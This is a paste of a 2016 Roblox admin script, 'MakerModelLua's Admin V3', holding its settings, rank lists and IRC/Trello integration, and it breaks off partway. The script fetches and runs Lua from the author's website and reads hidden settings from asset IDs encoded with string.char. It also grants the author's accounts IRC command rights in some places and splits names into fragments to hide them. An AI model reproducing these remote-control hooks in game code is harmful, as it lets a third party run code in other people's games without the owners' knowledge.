· 9 years ago · Nov 18, 2016, 09:56 PM
1--[[
2Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6
7
8TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4
9
10--->> DO NOT EDIT THESE SETTINGS <<---
11Well you can but it's a waste of your time. The settings are located in workspace
12in a folder called "MakerModelLua's Settings". You can also use this plugin:
13
14http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
15
16USE REMOTE ADMIN:
17http://www.classy-studios.com/Login/
18
19
20
21...also... this is open source! No stupid shady module scripts, which means it works in studio!
22
23]]
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
48
49
50local Settings = {
51 Ranks = {
52 ["Owner"] = {RobloxOfficial555};
53 ["Admin"] = {};
54 ["Member"] = {};
55 ["Banned"] = {};
56 ["Crashed"] = {};
57 ["Muted"] = {};
58 };
59
60 Prefix = ";";
61 Bet = " ";
62 MinimumAge = 0;
63 ServerLocked = false;
64 ColorScheme = "White";
65 TransparencyScheme = 50;
66 Fun = true;
67 EnableAdminMenu = true;
68 EnableTaskBar = true;
69 FreeAdmin = false;
70 Font = "Arial";
71
72 DisableAbuse = false;
73 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
74 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
75
76 LinkedAccount = "";
77 DataKey = "";
78
79 ExecuteNotificationSound = 0; --177578949
80 EnableSounds = true;
81
82 VIPMemberID = 0;
83 VIPAdminID = 0;
84
85 GroupID = 0;
86 GroupBanRank = 0;
87 GroupMemberRank = 0;
88 GroupAdminRank = 0;
89 GroupOwnerRank = 0;
90 GroupRankBan = 0;
91 BannedGroupIDs = {};
92
93 IRCServer = "";
94 IRCChannel = "";
95 IRCCommandExecuters = {};
96
97 TrelloToken = ""
98}
99
100local Colors = {
101 ["WHITE"] = Color3.new(1,1,1);
102 ["BLACK"] = Color3.new(0,0,0);
103 ["GRAY"] = Color3.new(0.5,0.5,0.5);
104 ["RED"] = Color3.new(1,0,0);
105 ["GREEN"] = Color3.new(0,1,0);
106 ["BLUE"] = Color3.new(0,0,1);
107 ["YELLOW"] = Color3.new(1,1,0);
108 ["PINK"] = Color3.new(1,0,1);
109 ["MAGENTA"] = Color3.new(1,0,1);
110 ["CYAN"] = BrickColor.new("Cyan").Color;
111 ["TEAL"] = BrickColor.new("Teal").Color;
112 ["BROWN"] = Color3.new(0.55,0.25,0.075);
113 ["PURPLE"] = Color3.new(0.5,0,0.5);
114 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
115}
116
117local Server = {
118 Workspace = game:GetService("Workspace");
119 Players = game:GetService("Players");
120 Lighting = game:GetService("Lighting");
121 MPS = game:GetService("MarketplaceService");
122 TS = game:GetService("TeleportService");
123 HS = game:GetService("HttpService");
124 RS = game:GetService("RunService");
125 PS = game:GetService("PointsService");
126 TestS = game:GetService("TestService");
127 IS = game:GetService("InsertService");
128 Teams = game:GetService("Teams");
129 Data = game:GetService("DataStoreService");
130 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
131 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
132 Storage = game:GetService("ServerStorage")
133}
134
135local Icons = {
136 ["Message"] = 7724351;
137 ["Error"] = 94011556;
138 ["Information"] = 144175130;
139 ["Check"] = 132769976;
140 ["Search"] = 61994930;
141 ["Time"] = 136391033;
142 ["Notice"] = 156507320;
143 ["Sound"] = 164682936;
144 ["Log"] = 70650545;
145 ["Question"] = 41363872;
146 ["Output"] = 11481605;
147 ["Admin"] = 302470270;
148 ["Lock"] = 11341626;
149 ["Settings"] = 131064748;
150 ["Map"] = 257119661;
151 ["Plugin"] = 257097414;
152}
153
154local IRC = {
155 Codes = {
156 ["001"] = "RPL_WELCOME",
157 ["002"] = "RPL_YOURHOST",
158 ["003"] = "RPL_CREATED",
159 ["004"] = "RPL_MYINFO",
160 ["005"] = "RPL_ISUPPORT",
161 ["250"] = "RPL_STATSCONN",
162 ["251"] = "RPL_LUSERCLIENT",
163 ["252"] = "RPL_LUSEROP",
164 ["254"] = "RPL_LUSERCHANNELS",
165 ["255"] = "RPL_LUSERME",
166 ["265"] = "RPL_LOCALUSERS",
167 ["266"] = "RPL_GLOBALUSERS",
168 ["352"] = "RPL_WHOREPLY",
169 ["371"] = "RPL_INFO",
170 ["372"] = "RPL_MOTD",
171 ["374"] = "RPL_ENDINFO",
172 ["375"] = "RPL_MOTDSTART",
173 ["376"] = "RPL_ENDOFMOTD",
174 ["422"] = "ERR_NOMOTD",
175 },
176 Ignore = {
177 ["004"] = true,
178 ["005"] = true,
179 };
180 Users = {};
181 Logs = {};
182 Chats = {};
183 Forms = {};
184 MessageAdded = Instance.new("BindableEvent");
185
186 Servers = {
187 ["esper.net"] = {
188 BaseUrl = "http://webchat.esper.net/";
189 DynamicUrl = "";
190 };
191 ["quakenet.org"] = {
192 BaseUrl = "http://webchat.quakenet.org/";
193 DynamicUrl = "dynamic/leibniz",
194 };
195 ["swiftirc.net"] = {
196 BaseUrl = "http://qwebirc.swiftirc.net/";
197 DynamicUrl = "",
198 };
199 };
200 NickName = "rbxMMLV3_"..math.random(1,100000);
201
202 SessionCounter = 0;
203 Connected = false;
204 Stop = false;
205 SessionID = "";
206}
207
208local RankHUD = {
209 ["Muted"] = 202180094;
210 ["Non-Admin"] = 202180121;
211 ["Member"] = 202180052;
212 ["Admin"] = 202180015;
213 ["Owner"] = 202179988;
214}
215
216local TextConverter = {
217 LetterSounds = {
218 ["a"] = {223757826, nil}; -- 203343899
219 ["b"] = {223533700, 0.2}; -- 203344029
220 ["c"] = {223533711, nil}; -- 203343994
221 ["d"] = {223757910, nil}; -- 203398237
222 ["e"] = {223758026, nil}; -- 203398295
223 ["f"] = {223777655, nil}; -- 203398347
224 ["g"] = {223777738, nil}; -- 203398372
225 ["h"] = {223777757, nil}; -- 203398397
226 ["i"] = {223777807, nil}; -- 203398422
227 ["j"] = {223782888, nil}; -- 203398450
228 ["k"] = {223533711, nil}; -- 203343994
229 ["l"] = {223782961, 0.4}; -- 203398541
230 ["m"] = {223782992, nil}; -- 203398578
231 ["n"] = {223783063, nil}; -- 203398599
232 ["o"] = {223783184, nil}; -- 203398611
233 ["p"] = {223783235, nil}; -- 203398727
234 ["q"] = {223783260, nil}; -- 203398755
235 ["r"] = {223783305, 0.2}; -- 203398792
236 ["s"] = {223783377, nil}; -- 203398806
237 ["t"] = {223783446, nil}; -- 203398850
238 ["u"] = {223783512, nil}; -- 203398872
239 ["v"] = {223783654, nil}; -- 203398965
240 ["w"] = {223783697, nil}; -- 203398984
241 ["x"] = {223783796, nil}; -- 203399008
242 ["y"] = {223783853, nil}; -- 203399043
243 ["z"] = {223783893, nil}; -- 203399096
244
245 ["ch"] = {223784367, 0.3}; -- 203592149
246 ["th"] = {223788235, 0.3}; -- 203399215
247 ["sh"] = {223784505, 0.2}; -- 203399566
248 ["wh"] = {223784555, 0.3}; -- 203622828
249 ["oo"] = {223784456, 0.3}; -- 203399743
250 ["ing"] = {223784393, 0.3}; -- 203402836
251 };
252
253 LongVowels = {
254 ["a"] = {223533687, nil}; -- 203343932
255 ["e"] = {223777620, nil}; -- 203398314
256 ["i"] = {223777855, nil}; -- 203398440
257 ["o"] = {223783212, nil}; -- 203398619
258 ["u"] = {223783572, nil}; -- 203398897
259 };
260
261 Pronounce = {
262 ["0"] = "zero";
263 ["1"] = "wun";
264 ["2"] = "too";
265 ["3"] = "three";
266 ["4"] = "four";
267 ["5"] = "five";
268 ["6"] = "six";
269 ["7"] = "seven";
270 ["8"] = "eyt";
271 ["9"] = "nine";
272 ["one"] = "wun";
273 ["two"] = "too";
274 ["eight"] = "eyt";
275 ["eigh"] = "ey";
276 ["gh"] = "h";
277 ["kn"] = "n";
278 ["come"] = "cu".."m";
279 ["bye"] = "bi";
280 ["#"] = "hashtag";
281 ["@"] = "at";
282 ["&"] = "and";
283 ["*"] = "astrict";
284 ["mn"] = "m";
285 ["kn"] = "n";
286 ["ies"] = "ees";
287 };
288
289 NonEnglishRules = {
290 ["to"] = "too";
291 ["you"] = "yoo";
292 ["we"] = "wee";
293 ["are"] = "erh";
294 ["your"] = "yoor";
295 ["you're"] = "yoor";
296 ["youre"] = "yoor";
297 ["pizza"] = "peetzoh";
298 ["ok"] = "okay";
299 ["have"] = "hav";
300 ["my"] = "mi";
301 ["me"] = "mee";
302 ["u"] = "yoo";
303 ["r"] = "erh";
304 ["move"] = "moov";
305 ["dove"] = "duv";
306 ["debris"] = "debree";
307 ["do"] = "doo";
308 }
309}
310
311local HTMLDecode = {
312 ["35"] = "#";
313 ["36"] = "$";
314 ["37"] = "%%";
315 ["38"] = "*";
316 ["39"] = "'";
317 ["58"] = ":";
318 ["59"] = ";";
319 ["60"] = "<";
320 ["62"] = ">";
321}
322
323
324local Packages = {
325 [27112438] = {27112025,27112039,27112052,27112056,27112068};
326 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
327 [77518833] = {77518564,77518616,77518654,77518696,77518737};
328 [32336368] = {32336059,32336117,32336182,32336243,32336306};
329 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
330 [54116460] = {54116290,54116338,54116373,54116394,54116432};
331 [39977366] = {39976703,39976829,39976927,39977192,39977295};
332 [32357766] = {32357663,32357631,32357619,32357584,32357558};
333 [27123973] = {27121265,27121306,27121353,27121393,27121432};
334 [55717536] = {55717271,55717330,55717388,55717434,55717491};
335 [28279963] = {28279160,28279217,28279859,28279894,28279938};
336 [27403592] = {27402580,27402546,27402641,27402714,27402742};
337 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
338 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
339 [48474394] = {48474356,48474294};
340 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
341 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
342 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
343 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
344 [33378577] = {33378366,33378438,33378484,33378522,33378540};
345 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
346 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
347 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
348 [41851073] = {41850825,41850868,41850915,41851009,41850959}
349}
350
351local CharacterCache = {
352 {"MakerModelLua", 38837082};
353 {"LuaModelMaker", 20920633};
354 {"builderman", 156};
355 {"Shedletsky", 261};
356 {"Telamon", 13645};
357 {"ROBLOX", 1};
358}
359
360local FaceCovert = {
361 Left = "xpos";
362 Right = "xneg";
363 Front = "zpos";
364 Back = "zneg";
365 Top = "ypos";
366 Bottom = "yneg";
367}
368
369local Meshes = {
370 ["crown"] = {1, 1078075};
371 ["king"] = {1, 11419761};
372 ["teapot"] = {0.03, 1029523};
373 ["apple"] = {2.5, 16190555};
374 ["potato"] = {1, 25268275};
375 ["panda"] = {0.5, 20709221};
376 ["dominus"] = {0.5, 21057410};
377 ["fedora"] = {0.75, 13640868};
378 ["noob"] = {1, 20929341};
379 ["knife"] = {0.3, 121944778};
380 ["book"] = {0.3, 1136139};
381}
382
383local NotifySounds = {
384 ["Hover"] = 223134269;
385 ["Select"] = 292141227;
386}
387
388local Trello = {
389 AdminBoardID = "577ea1b21cb7975666524f26";
390 MainBoard = {};
391 RequiredLists = {};
392 RankChecklistCache = {};
393 ToggleChecklist = nil;
394 CommandID = nil;
395 LastCommandDT = 0;
396 RemoteAdminChecklist = "57dec94aa19913c3edbbf7a3";
397 RemoteDataCard = "dLtMo1en"
398}
399
400-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
401-- Why else would I NOT have put it in a module?!?!?
402
403local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
404
405local SoundList,GlobalSoundList = {},{}
406local ScriptCache,MarketCache,PackageCache = {},{},Packages
407local TempChatLogs = {}
408local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), Server.Storage}
409local NoSpeak = false
410
411local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
412local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
413
414local ChatLogs,CommandLogs = {},{}
415local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
416local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
417local Dispose,Jails,PermCommandBars = {},{},{}
418local Waypoints = {["Center"] = Vector3.new(0,0,0)}
419local Objects = {}
420local Sound = nil
421local ModLighting = false
422local DataReady = true
423local RemoteAbuseGear = {}
424
425local GameOwner = "[ Client ]"
426local PlaceName = "Unknown"
427local PlaceInfo = {}
428local IsStudio = false
429local IsSB = false
430local Date = nil
431local Fonts = {}
432local PendingRequests = {}
433local F3X = script:FindFirstChild("F3X Tools")
434local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
435local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
436local KeyBinds = {}
437local Crowns = {}
438local LastKeys = {}
439local Cars = {}
440local StringReplacements = {}
441local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
442local NoBet = {"/", "-", "(", ")", ""}
443
444local CrownStorage = script:FindFirstChild("CrownStorage")
445if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
446
447-- import old settings just in case --
448local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
449if OldSettings then
450 OldSettings = require(OldSettings)
451
452 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
453 Settings[ValName] = OldSettings[ValName]
454 end
455 Settings.GroupBanRank = OldSettings.RankBan
456 Settings.Fun = OldSettings.FUN
457end
458
459if F3X then
460 F3X = F3X:Clone()
461 F3X.Handle.Anchored = false
462 script:FindFirstChild("F3X Tools"):Destroy()
463end
464
465wait(0.1)
466
467local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
468-- tries to defualt to server storage, just in case an exploiter makes their own settings.
469
470if SettingsValues then
471 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
472 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
473 for _,Value in pairs(SettingsValues:GetChildren()) do
474 if Settings[Value.Name] ~= nil then
475 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
476 for _,NewValue in pairs(Value:GetChildren()) do
477 if ypcall(function() return NewValue.Value end) then
478 if Settings[Value.Name][NewValue.Name] then
479 local Val = NewValue.Value
480 if type(Settings[Value.Name][NewValue.Name]) == "table" then
481 Val = {}
482 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
483 table.insert(Val, Word)
484 end
485 end
486 Settings[Value.Name][NewValue.Name] = Val
487 end
488 end
489 end
490 else
491 if Settings[Value.Name] ~= nil then
492 local Val = Value.Value
493 if type(Settings[Value.Name]) == "table" then
494 Val = {}
495 for Word in string.gmatch(Value.Value, "%w+") do
496 table.insert(Val, Word)
497 end
498 end
499 Settings[Value.Name] = Val
500 end
501 end
502 end
503 end
504 end
505end
506
507if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
508 Settings.LinkedAccount = ""
509elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
510 Settings.LinkedAccount = "Admin"
511end
512
513local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
514local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
515
516wait(1)
517
518local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
519
520if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
521
522if not IsStudio then
523 Server.NS = game:GetService("NetworkServer")
524 script.Name = "Maker".."Mo".."delLua's Admin"
525end
526
527if game.PlaceId > 0 then
528 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
529 PlaceName = PlaceInfo.Name
530end
531
532if string.byte(string.sub(PlaceName,1,1)) == 226 then
533 PlaceName = string.sub(PlaceName,4,#PlaceName)
534end
535for i = 1,5 do
536 if GameOwner == "[ Client ]" then
537 print("MML's Admin: Attempting to establish owner's name #"..i)
538 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
539 wait(1)
540 end
541end
542
543if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end
544
545if IsSB then
546 Settings.IRCServer = "swiftirc.net";
547 Settings.IRCChannel = "#PkamaraSB";
548 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
549 if Settings.TrelloToken == "" then
550 Settings.LinkedAccount = "ScriptBuilder"
551 end
552 if Settings.DataKey == "" then coroutine.wrap(function()
553 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
554 local Key = Server.Storage:FindFirstChild("MML DataKey")
555 print("Found key: "..Key.Value)
556 Settings.DataKey = Key.Value
557 Key:Destroy()
558 end)() end
559end
560local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
561table.insert(Settings.Ranks["Owner"], GameOwner)
562
563for _,Font in pairs(Enum.Font:GetEnumItems()) do
564 Fonts[Font.Name] = Font
565end
566
567local LogClient = script:FindFirstChild("AddClientInfo")
568if LogClient then LogClient:Destroy() end
569LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
570LogClient.OnServerInvoke = function(Player, Info)
571 if Info then
572 for Key,Data in pairs(Info) do
573 ClientInfo[Player.Name][Key] = Data
574 end
575 end
576end
577
578local function MakeFunction(Type, Name)
579 local Func = script:FindFirstChild(Name)
580 if Func then Func:Destroy() end
581 Func = Instance.new(Type, script) Func.Name = Name
582
583 getfenv()[Name] = Func
584 return Func
585end
586
587MakeFunction("BindableFunction", "ExecuteCommand")
588MakeFunction("RemoteFunction", "ExecuteCommandClient")
589MakeFunction("BindableFunction", "ExecuteCode")
590
591MakeFunction("RemoteFunction", "IsAdmin")
592MakeFunction("RemoteFunction", "AddExploit")
593MakeFunction("BindableFunction", "AddExploitServer")
594MakeFunction("RemoteFunction", "KickClient")
595MakeFunction("RemoteFunction", "ConvertTextToSound")
596
597MakeFunction("RemoteFunction", "KeyPressed")
598MakeFunction("RemoteFunction", "InputKey")
599
600MakeFunction("RemoteFunction", "RankPlayerLocal")
601MakeFunction("BindableFunction", "RankPlayerServer")
602
603--[[
604if NLS then
605 local Value = script:FindFirstChild("Override")
606 LogClient.Parent = game
607 if not Value then
608 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
609 local CloneScript = script:Clone()
610 CloneScript.Disabled = true
611 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
612 CloneScript.Disabled = false
613 CloneScript.Parent = nil
614
615 script:Destroy() script.Disabled = true
616 end
617end
618]]
619
620if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
621
622IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
623
624-- Core functions --
625
626function CORE:FixSettings()
627 for _,Bet in pairs(NoBet) do
628 if Settings.Bet == Bet then
629 Settings.Bet = " "
630 break
631 end
632 end
633 CORE:ChangeBet(Settings.Bet)
634
635 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
636 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
637
638 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
639 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
640 Settings.TransparencyScheme = Settings.TransparencyScheme/100
641
642 if not Fonts[Settings.Font] then
643 Settings.Font = "Arial"
644 end
645end
646
647function CORE:NilPlayer(Player)
648 if Player == nil or type(Player) == "table" then return true else return false end
649end
650
651function CORE:ExecuteResource(ResourceName, Parent, Data)
652 local ReturnScript = nil
653 local Executed = true
654 if script:FindFirstChild("Resources") then
655 local RawResource = script.Resources:FindFirstChild(ResourceName)
656 if RawResource then
657 local Resource = RawResource:Clone()
658 Resource.Disabled = true
659 Resource.Parent = Parent
660 if Data then
661 for Key,Value in pairs(Data) do
662 if Resource[Key] then
663 Resource[Key].Value = Value
664 end
665 end
666 end
667 wait()
668 Resource.Disabled = false
669 ReturnScript = Resource
670 else
671 Executed = false
672 end
673 else
674 Executed = false
675 end
676 if Executed == false then
677 if not Data then Data = {} end
678 local Source = ScriptCache[ResourceName]
679
680 if not Source then
681 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
682 if Source then
683 ScriptCache[ResourceName] = Source
684 end
685 end
686
687 if Data and Source then
688 for Key,Value in pairs(Data) do
689 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
690 end
691 end
692
693 if NLS and Source then
694 ReturnScript = NLS(Source, Parent)
695 end
696 end
697 return ReturnScript
698end
699
700function CORE:CreateRemotePropertyReader(Obj, Override)
701 if Server.Workspace.FilteringEnabled == true or Override then
702 local Reader = Instance.new("RemoteFunction", Obj)
703 Reader.Name = "RemotePropertyReader"
704 CORE:ExecuteResource("RemotePropertyReader", Reader)
705 return Reader
706 else
707 return Obj
708 end
709end
710
711function CORE:ReadProperty(Reader, Player, Property)
712 if Reader:IsA("RemoteFunction") then
713 return Reader:InvokeClient(Player, Property)
714 else
715 return Reader[Property]
716 end
717end
718
719function CORE:WriteProperty(Reader, Player, Property, Value)
720 if Reader:IsA("RemoteFunction") then
721 return Reader:InvokeClient(Player, Property, Value)
722 else
723 return Reader[Property]
724 end
725end
726
727
728function CORE:CreateRemoteEvent(Obj, EventName)
729 local Event = Instance.new("RemoteEvent", Obj)
730 Event.Name = "RemoteEvent_"..EventName
731 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
732 return Event
733end
734
735function CORE:HandleEvent(Obj, EventName, Func, NewThread)
736 local function Handle()
737 if Server.Workspace.FilteringEnabled == true then
738 local Event = CORE:CreateRemoteEvent(Obj, EventName)
739 return Event.OnServerEvent:connect(function(Player, ...)
740 Func(...)
741 end)
742 else
743 return Obj[EventName]:connect(Func)
744 end
745 end
746 if NewThread then
747 Spawn(Handle)
748 else
749 Handle()
750 end
751end
752
753function CORE:HandleError(Error, Speaker)
754 local Return = ""
755 if not Error or Error == "" then
756 Return = "Unknown Error"
757 else
758 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
759 end
760 if Speaker then
761 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
762 end
763 return Return
764end
765
766local function ExecuteSafe(Source, Speaker) -- no CORE
767 local Script, Error = loadstring(Source)
768 if Error then
769 return false, CORE:HandleError(Error, Speaker)
770 else
771 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
772 getfenv(Script).Server, getfenv(Script).script = Server,script
773 if Speaker then
774 getfenv(Script).print = function(...)
775 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
776 end
777 getfenv(Script).print_array = function(List)
778 if type(List) == "table" then
779 GUI:ListGui(Speaker, "Listed Table", List, "Output")
780 end
781 end
782 end
783
784 local Suc, Error = ypcall(coroutine.wrap(Script))
785
786 if not Suc then
787 Error = CORE:HandleError(Error, Speaker)
788 end
789
790 return Suc,Error
791 end
792end
793
794function CORE:GetTime(Regular, FullDate)
795 if Regular == nil then Regular = true end
796 local Meridiem = ""
797 if Regular == true then Meridiem = " AM" end
798 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
799 local Hour = math.floor(SecondsOfToday / (60*60))
800 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
801 local Second = math.floor(math.fmod(SecondsOfToday, 60))
802 if Hour > 12 and Regular == true then
803 Hour = Hour - 12
804 Meridiem = " PM"
805 end
806 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
807 if #Hour <= 1 then Hour = "0"..Hour end
808 if #Minute <= 1 then Minute = "0"..Minute end
809 if #Second <= 1 then Second = "0"..Second end
810 local Return = Hour..":"..Minute..":"..Second..Meridiem
811 if FullDate == true and Date then Return = Date.." "..Return end
812 return Return
813end
814
815function CORE:RemoveAdmin(Speaker)
816 local Answer = true -- false
817 if not CORE:NilPlayer(Speaker) then
818 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
819 end
820 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
821 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
822 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
823 for _,Item in pairs(Player:GetChildren()) do
824 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
825 Item:Destroy()
826 end
827 end
828 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
829 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
830 GUI:Destroy()
831 end
832 end
833 end end
834 for _,Car in pairs(Cars) do
835 Car:Destroy()
836 end
837 CORE:FixLighting()
838 while wait() do
839 if script:FindFirstChild("Override") then script.Override.Value = true end
840 Settings,CORE,IRC = nil,{},{}
841 if Sound then Sound:Stop() end
842 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
843 script:ClearAllChildren() script:Destroy() script.Disabled = true
844 end
845 end
846end
847
848function CORE:MakeBase()
849 for _,Get in pairs(Workspace:GetChildren()) do
850 if Get.Name == "Base" or Get.Name == "BasePlate" then
851 Get:Destroy()
852 end
853 end
854 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
855end
856
857function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
858 if IsAbusive == nil then IsAbusive = false end
859 if Commands[CommandName] then table.remove(Commands[CommandName]) end
860 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
861end
862
863function CORE:FixLighting() coroutine.wrap(function()
864 ModLighting = false
865 wait(0.2)
866 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
867 Server.Lighting.FogColor = Color3.new(0,0,0)
868 Server.Lighting.Brightness = 1
869 Server.Lighting.TimeOfDay = 14
870 Server.Lighting.FogEnd = 100000
871end)() end
872
873function CORE:Round(Number)
874 if Number >= 0.5 then
875 return math.ceil(Number)
876 elseif Number < 0.5 then
877 return math.floor(Number)
878 end
879end
880
881local AdminID,Got = nil,false
882repeat wait()
883 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
884until Got == true
885
886function CORE:GetTable(ID)
887 local Thing = nil
888 repeat wait()
889 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
890 until Thing
891 return Thing
892end
893
894function CORE:InAdminGroup(Speaker)
895 local IsIn = false
896 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
897 if Speaker:IsInGroup(Get) then
898 IsIn = true
899 end
900 end
901 if IsIn == true then
902 return true
903 else
904 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
905 return false
906 end
907end
908
909function CORE:ReverseTable(Table)
